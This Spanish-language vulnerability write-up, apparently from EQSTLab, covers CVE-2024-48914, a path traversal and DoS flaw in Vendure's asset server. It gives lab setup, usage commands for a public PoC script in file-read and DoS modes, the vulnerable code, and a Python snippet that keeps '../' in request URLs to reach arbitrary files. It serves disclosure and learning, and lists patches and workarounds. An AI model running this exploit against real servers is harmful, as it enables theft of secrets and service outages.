
Lectura Arbitraria de Archivos y DoS en exploit de vendure-ecommerce
Esta publicación es un artículo de investigación publicado por EQSTLab.
Gracias a Rajesh Sharma, quien descubrió esta vulnerabilidad.
★ CVE-2024-48914 PoC de Lectura Arbitraria de Archivos y DoS ★
CVE-2024-48914 : Vulnerabilidad de lectura arbitraria de archivos y DoS en vendure-ecommerce
descripción: Vendure es una plataforma de comercio headless de código abierto. Antes de las versiones 3.0.5 y 2.3.3, una vulnerabilidad en el plugin del servidor de assets de Vendure permite a un atacante crear una solicitud que puede recorrer el sistema de archivos del servidor y recuperar el contenido de archivos arbitrarios, incluyendo datos sensibles como archivos de configuración, variables de entorno y otros datos críticos almacenados en el servidor. En la misma ruta de código hay un vector adicional para bloquear el servidor mediante una URI malformada. Los parches están disponibles en las versiones 3.0.5 y 2.3.3. También hay algunas soluciones alternativas. Se puede usar almacenamiento de objetos en lugar del sistema de archivos local, ej. MinIO o S3, o definir middleware que detecte y bloquee solicitudes con URLs que contengan /../.
Descargar la versión vulnerable (v3.0.4):
npm install
npm run build
docker-compose.yml
# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
mariadb:
image: 'bitnami/mariadb:latest'
container_name: mariadb
environment:
MARIADB_DATABASE: vendure-dev
MARIADB_ROOT_USER: vendure
MARIADB_ROOT_PASSWORD: password
volumes:
- 'mariadb_data:/bitnami'
ports:
- '3306:3306'
mysql_8:
image: bitnami/mysql:8.0
container_name: mysql-8
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
mysql_5:
image: bitnami/mysql:5.7
container_name: mysql-5.7
environment:
MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
MYSQL_DATABASE: vendure-dev
MYSQL_ROOT_USER: vendure
MYSQL_ROOT_PASSWORD: password
volumes:
- 'mysql_data:/bitnami'
ports:
- '3306:3306'
postgres_12:
image: postgres:12.3
container_name: postgres_12
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_12_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
postgres_16:
image: postgres:16
container_name: postgres_16
environment:
POSTGRES_DB: vendure-dev
POSTGRES_USER: vendure
POSTGRES_PASSWORD: password
PGDATA: /var/lib/postgresql/data
volumes:
- postgres_16_data:/var/lib/postgresql/data
ports:
- "5432:5432"
command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
# This is the Keycloak service which is used
# to test the Keycloak auth strategy
keycloak:
image: quay.io/keycloak/keycloak
ports:
- "9000:8080"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command:
- start-dev
- --import-realm
volumes:
- keycloak_data:/opt/keycloak/data
elasticsearch:
image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
container_name: elasticsearch
environment:
- discovery.type=single-node
- bootstrap.memory_lock=true
- "ES_JAVA_OPTS=-Xms512m -Xmx512m"
ulimits:
memlock:
soft: -1
hard: -1
volumes:
- esdata:/usr/share/elasticsearch/data
ports:
- 9200:9200
redis:
image: bitnami/redis:7.4.1
hostname: redis
container_name: redis
environment:
- ALLOW_EMPTY_PASSWORD=yes
ports:
- "6379:6379"
volumes:
postgres_16_data:
driver: local
postgres_12_data:
driver: local
mariadb_data:
driver: local
mysql_data:
driver: local
keycloak_data:
driver: local
esdata:
driver: local
Comando para ejecutar
docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start
git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914
pip install -r requirements.txt
# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2
CVE-2024-48914.py (Lectura Arbitraria de Archivos)

CVE-2024-48914.py (Ataque DoS)

vendure/packages/asset-server-plugin/src/plugin.ts
const decodedReqPath = decodeURIComponent(req.path);
if (imageParamsString !== '') {
const imageParamHash = this.md5(imageParamsString);
return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
} else {
return decodedReqPath;
}
La vulnerabilidad proviene del uso de decodedReqPath directamente en path.join sin realizar ninguna normalización de ruta, es decir, sin usar path.normalize en Node.js. Esta vulnerabilidad permite a un atacante crear una solicitud que pueda recorrer el sistema de archivos del servidor y recuperar el contenido de archivos arbitrarios, incluidos datos sensibles como archivos de configuración, variables de entorno y otros datos críticos almacenados en el servidor.
Al usar el módulo requests de Python, el "../" se elimina de la ruta URL. Si usas "solicitudes preparadas" como se muestra a continuación, puedes usar el módulo requests de Python sin que se elimine el "../" de la ruta URL.
def readFile(self) -> None:
url = f"{self.url}/assets/../{self.file}"
s = requests.Session()
req = requests.Request(method='GET' ,url=url)
prep = req.prepare()
prep.url = url
response = s.send(prep, verify=False)
...
Este repositorio no está destinado a ser un exploit de lectura arbitraria de archivos o DoS para CVE-2024-48914. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones.
https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4